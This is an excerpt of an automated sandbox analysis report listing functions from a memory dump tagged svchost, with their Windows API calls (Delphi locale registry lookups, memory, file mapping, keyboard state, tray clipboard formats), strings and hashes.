Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.4%
Total number of Nodes:	1335
Total number of Limit Nodes:	14

Executed Functions

Function 03E345D8 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03E345F3
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E34611
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E3462F
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03E3464D
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03E34696
RegQueryValueExA.ADVAPI32(?,03E34858,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001), ref: 03E346B4
RegCloseKey.ADVAPI32(?,03E346E3,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E346D6
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 03E346F3
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 03E34700
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 03E34706
lstrlen.KERNEL32(00000000), ref: 03E34731
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03E34786
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E34796
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03E347C2
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E347D2
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E347FC
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E3480C

Strings

Software\Borland\Delphi\Locales, xrefs: 03E34643
Software\Borland\Locales, xrefs: 03E34607, 03E34625

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 7e7440d5d5907441c441d2cd60541d11d4953eaf70a1a0e47eed3776761da186
Instruction ID: 027d7748506c5a87c4e243fd0419d3990cb98108b6fbf369a26e7d6e62afc838
Opcode Fuzzy Hash: 7e7440d5d5907441c441d2cd60541d11d4953eaf70a1a0e47eed3776761da186
Instruction Fuzzy Hash: FB617175E4034D7EEB20EAE5CC49FEFB7BCDB0A704F4452A5A604E6181DAB49A44CF60

Function 03E3B054 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 125
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B11A

Part of subcall function 03E38C9C: IsBadReadPtr.KERNEL32(?,00000040), ref: 03E38CB0
Part of subcall function 03E38C9C: IsBadReadPtr.KERNEL32(03E3B1E5,00000004), ref: 03E38CDE

GetCurrentProcess.KERNEL32(00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B159
GetCurrentProcessId.KERNEL32(00000000,00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B16E
PostMessageA.USER32(?,0000C20B,00000000,00000000), ref: 03E3B187
GetCurrentProcessId.KERNEL32(00000000,00000000,03E3B1E5), ref: 03E3B1A7
PostMessageA.USER32(?,0000C20C,00000000,00000000), ref: 03E3B1C0

Part of subcall function 03E38214: GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,?,03E3B08F,00000000,03E3B1E5), ref: 03E3822B

Part of subcall function 03E39B94: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03E39BAF
Part of subcall function 03E39B94: OpenFileMappingA.KERNEL32(00000004,00000000,00000000), ref: 03E39BCC
Part of subcall function 03E39B94: GetLastError.KERNEL32(?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BDF

Strings

iexplore.exe, xrefs: 03E3B09D

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: CurrentFileProcess$MappingMessageModuleOpenPostRead$ErrorHandleLastName
String ID: iexplore.exe
API String ID: 3641758393-3286091477
Opcode ID: 52e32979198605c7c946ea97b6920a70de89d200ee60c6a32a10fd332e1806a7
Instruction ID: 90adf319c057bca9e01d0155c6122fdb93f864de824287b644fd7449e8fe0965
Opcode Fuzzy Hash: 52e32979198605c7c946ea97b6920a70de89d200ee60c6a32a10fd332e1806a7
Instruction Fuzzy Hash: 88413B346043199FD701EBA9C88DFA9B7F5AF4A304F506690E402EF395D775E944CB21

Function 03E39B94 Relevance: 9.1, APIs: 6, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03E39BAF
OpenFileMappingA.KERNEL32(00000004,00000000,00000000), ref: 03E39BCC
GetLastError.KERNEL32(?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BDF
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BF9
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000074,00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39C1A
GetLastError.KERNEL32(00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39C2D

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: File$ErrorLastMappingOpenView
String ID:
API String ID: 3772272286-0
Opcode ID: 955202bbdf9164031bfcbaa687810c085dfa0075709cc7b9fe6902ae6864e669
Instruction ID: 9d5a6f2857757f7b8aeb8be148303497c667ebca04b670841a5710fa7b36e006
Opcode Fuzzy Hash: 955202bbdf9164031bfcbaa687810c085dfa0075709cc7b9fe6902ae6864e669
Instruction Fuzzy Hash: 55110374985368EAE710FB76AD4DB96B7E8E706714F182794E2825F2D5C7B43080CB14

Function 03E39DC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

PostMessageA.USER32(?,?,?,?), ref: 03E39DFF

Part of subcall function 03E39E3C: GetCurrentProcessId.KERNEL32(03E39DA2,?,?,03E39DA2), ref: 03E39E63
Part of subcall function 03E39E3C: PostMessageA.USER32(?,?,00000000,03E39DA2), ref: 03E39E7B

Strings

PostMessageA, xrefs: 03E39DE1

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadMessagePostProc$CurrentProcess
String ID: PostMessageA
API String ID: 3249817243-3140657398
Opcode ID: 1801b1fcd2227f6a76ff77341ef58b8fb4d8c986810065f0b9208045262a75ad
Instruction ID: 4f4b2d3ffbcbb2dfbf5db0aabf88008aa430137904cf40fc1a074618801ca8a5
Opcode Fuzzy Hash: 1801b1fcd2227f6a76ff77341ef58b8fb4d8c986810065f0b9208045262a75ad
Instruction Fuzzy Hash: DEF017B5E0121CAFCB00DFE9C848B9EB7F8AB0A200F1097A5B818E7341D3709A10CB91

Function 03E39F0C Relevance: 3.1, APIs: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallNextHookEx.USER32(?,?,?,?), ref: 03E39F36
CallNextHookEx.USER32(00000000,?,?,?), ref: 03E39F4E

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: CallHookNext
String ID:
API String ID: 3378577984-0
Opcode ID: 23079eb4f0857048dd1b01a3ae1688861f1f9dbc1f5d4091a044a42897bda297
Instruction ID: b5e366564f323c351643d1b7519a08d3ebf7ce8602ce7b5476ded2fff8d4f7f2
Opcode Fuzzy Hash: 23079eb4f0857048dd1b01a3ae1688861f1f9dbc1f5d4091a044a42897bda297
Instruction Fuzzy Hash: 7D41F039204208EFDB10DF59E989EA973F9EB0A310F2492A1F905DB3A1D772E940CF10

Function 03E31444 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,03E317D7), ref: 03E31473
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,03E317D7), ref: 03E3149A

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7bd40d97718a99176df0b2e4246046c8d9648a9c55502e0767320f63f5d8f3e5
Instruction ID: 6b027bd1f4a72286e53f060f334b72aa16e4232007e5c2ffe7824b42510e413c
Opcode Fuzzy Hash: 7bd40d97718a99176df0b2e4246046c8d9648a9c55502e0767320f63f5d8f3e5
Instruction Fuzzy Hash: 65F0AE76F007305ADB20F5694C88B9255989F877A1F155379FD4CEF3C8D6914801C291

Function 03E34344 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E34362

Part of subcall function 03E345D8: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03E345F3
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E34611
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E3462F
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03E3464D
Part of subcall function 03E345D8: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03E34696
Part of subcall function 03E345D8: RegQueryValueExA.ADVAPI32(?,03E34858,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001), ref: 03E346B4
Part of subcall function 03E345D8: RegCloseKey.ADVAPI32(?,03E346E3,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E346D6

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b9ed812b69cee5904544981c8a276fdea97e1d4f68b1c6b151a69c22f1966d38
Instruction ID: 3450363c493d8949796b4ef407379a7f4eeda095969460ade8ce891817312e4a
Opcode Fuzzy Hash: b9ed812b69cee5904544981c8a276fdea97e1d4f68b1c6b151a69c22f1966d38
Instruction Fuzzy Hash: 80E06D71A003149BCB10EE6C88C8A8637E8AF0A654F441695ECA8DF28AD771DA208BD1

Function 03E34C6C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03E34C44: TlsGetValue.KERNEL32(00000019), ref: 03E34C5C
Part of subcall function 03E34C44: LocalFree.KERNEL32(00000000,00000019), ref: 03E34C66

TlsFree.KERNEL32(00000019), ref: 03E34C89

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: Free$LocalValue
String ID:
API String ID: 2967491550-0
Opcode ID: 317b95b1e54e18857ba3a23599b080fd9b787d8c0319187105ee354fab0f6581
Instruction ID: 52184413215f6b7ed499a82286d8f7ad8a09be7b9185fe6498bcf640ee74b51d
Opcode Fuzzy Hash: 317b95b1e54e18857ba3a23599b080fd9b787d8c0319187105ee354fab0f6581
Instruction Fuzzy Hash: 10C04C2410036596FF24F6BB950C77571B86702225B69A3146460D71D4DA74C405CF26

Function 03E315E8 Relevance: 1.3, APIs: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 03E31681

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bf81a38576182df7ebedf42f44557afe8dfb248d6b9567118f4a5f62bd21eef2
Instruction ID: 15a242daeecabba9c9b6c4620c09e0ce261fcfed26f05f326f864b721a90a25a
Opcode Fuzzy Hash: bf81a38576182df7ebedf42f44557afe8dfb248d6b9567118f4a5f62bd21eef2
Instruction Fuzzy Hash: CA21CDB464424ADFC750DF6CC884A9AB7F4FF89354B188A69F998CB344D330E954CB52

Function 03E31520 Relevance: 1.3, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32(0000000C,00000000,00008000), ref: 03E31599

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9c42a345a70f0f3a1d6e030862cb05aa359eaaec3674c58177a49df2bd4ecf9d
Instruction ID: 205db704243e856ae12d9a062ae26ee13aa184b55acd6f76f601bf270d85accf
Opcode Fuzzy Hash: 9c42a345a70f0f3a1d6e030862cb05aa359eaaec3674c58177a49df2bd4ecf9d
Instruction Fuzzy Hash: CF21BF74604306AFC710EF19D888A4ABBE4FF89364F248A6DE59987350D331E850CB56

Function 03E316A8 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32(?,?,00004000), ref: 03E31738

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: cddb50e74585b9630ee5e4e1119c29ccb3fce7b7018b50d9fa9e43f0702cbc30
Instruction ID: 0bf466703fd808e11e570db5f3c101d574df32e643fc97db47eebb45ffea732d
Opcode Fuzzy Hash: cddb50e74585b9630ee5e4e1119c29ccb3fce7b7018b50d9fa9e43f0702cbc30
Instruction Fuzzy Hash: E421E0B5204206DFC710DF2CD888A5AB7F4FF8A354B284A69E594CB344E331E905CB52

Function 03E311DC Relevance: 1.3, APIs: 1, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000000,00000644), ref: 03E311F1

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6d1d14727c8a201f3abccb770ad968e669a4ed6408b52c1419a830996ba674d9
Instruction ID: fdfbcc47337ca7e1c698e32404fd5f1bfcc0770f263669f1d30ee396cc71ec29
Opcode Fuzzy Hash: 6d1d14727c8a201f3abccb770ad968e669a4ed6408b52c1419a830996ba674d9
Instruction Fuzzy Hash: AD11B374608751EFC710EF28C484B1AB7E1AF8A714F10CA6DE899CB364E730A841DB02

Non-executed Functions

Function 03E34400 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144
stringlibraryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 03E3441D
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 03E3442E
lstrcpyn.KERNEL32(?,?,?,?,?,kernel32.dll), ref: 03E34462
lstrcpyn.KERNEL32(?,?,?,kernel32.dll), ref: 03E344D3
lstrcpyn.KERNEL32(?,?,?,?,?,?,kernel32.dll), ref: 03E3450E
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E34521
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E3452E
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E3453A
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 03E3456E
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 03E3457A
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 03E345A3

Strings

kernel32.dll, xrefs: 03E34418
GetLongPathNameA, xrefs: 03E34428
\, xrefs: 03E3454C

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 283d0415bf49b11def31226ded9fcefcc571b1ca7e5e9ba35591a626a8ef72da
Instruction ID: 79fb2d045b02c34a9733473fbc26895133d7b1ae652e99dd2bffa1bba0448f8c
Opcode Fuzzy Hash: 283d0415bf49b11def31226ded9fcefcc571b1ca7e5e9ba35591a626a8ef72da
Instruction Fuzzy Hash: 7A513A71D00259AFDF11EBE9CC88AEEB7F8AF46204F0516A5E155EB280D7749E40CF60

Function 03E38D00 Relevance: 3.0, APIs: 2, Instructions: 30keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(0000000D), ref: 03E38D13
GetKeyboardState.USER32(?), ref: 03E38D1F

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: State$Keyboard
String ID:
API String ID: 4200833460-0
Opcode ID: 10124a877c90994702e99e21121a370988b718aec09e7bc4732486b202dd817c
Instruction ID: 443cde33f3e83ad8f5091749e51aed7f1244a339b1eae403a53a3c500e3e9a20
Opcode Fuzzy Hash: 10124a877c90994702e99e21121a370988b718aec09e7bc4732486b202dd817c
Instruction Fuzzy Hash: 2DF01D0185C3DD55DB31C2B9480C7BDFEB80B17128F8C53C9DCE4292D6D6714659E655

Function 03E3A4B6 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 03E3A4CC

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 1d25acefea867c6e53664f48da86dc6e832dcf2838eaf4eb70014331d8bb15e6
Instruction ID: d2f7704a85a84a94c936209acdd25ef7ca454d7f4b34c227c153c3e2907e7a9e
Opcode Fuzzy Hash: 1d25acefea867c6e53664f48da86dc6e832dcf2838eaf4eb70014331d8bb15e6
Instruction Fuzzy Hash: 8DD06CB660420CBF8B40DEDDE980E9A77ECEB0D210B108415BA08DB240D631EE109B64

Function 03E3A4B8 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 03E3A4CC

Memory Dump Source

Source File: 0000002A.00000002.20538811069.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002A.00000002.20538750796.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538871728.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002A.00000002.20538938090.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_3e30000_svchost.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 95ed39734bbca9339797dc30844f7ba5c8f620de155cd7b31576d4b628929270
Instruction ID: 3d01a3efdd07784b5c48eea529cbe38221295ce8d6a63055e9296ddb8460fe80
Opcode Fuzzy Hash: 95ed39734bbca9339797dc30844f7ba5c8f620de155cd7b31576d4b628929270
Instruction Fuzzy Hash: 44D06CB660420CBF8B40DEDDE980E8A77ECAB0D210B108405BA08DB240D631EE109B64

Function 03E39304 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 27registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(4tTray_WM_POSCHANGED), ref: 03E39315
RegisterClipboardFormatA.USER32(4tTray_WM_INIT_POS), ref: 03E39324
RegisterClipboardFormatA.USER32(4tTray_WM_ROLLUP), ref: 03E39333
RegisterClipboardFormatA.USER32(4tTray_WM_FREEMEMORY_NAME), ref: 03E39342
RegisterClipboardFormatA.USER32(4tTray_WM_STAYONTOP), ref: 03E39351
RegisterClipboardFormatA.USER32(4tTray_ProcessAttached), ref: 03E39360
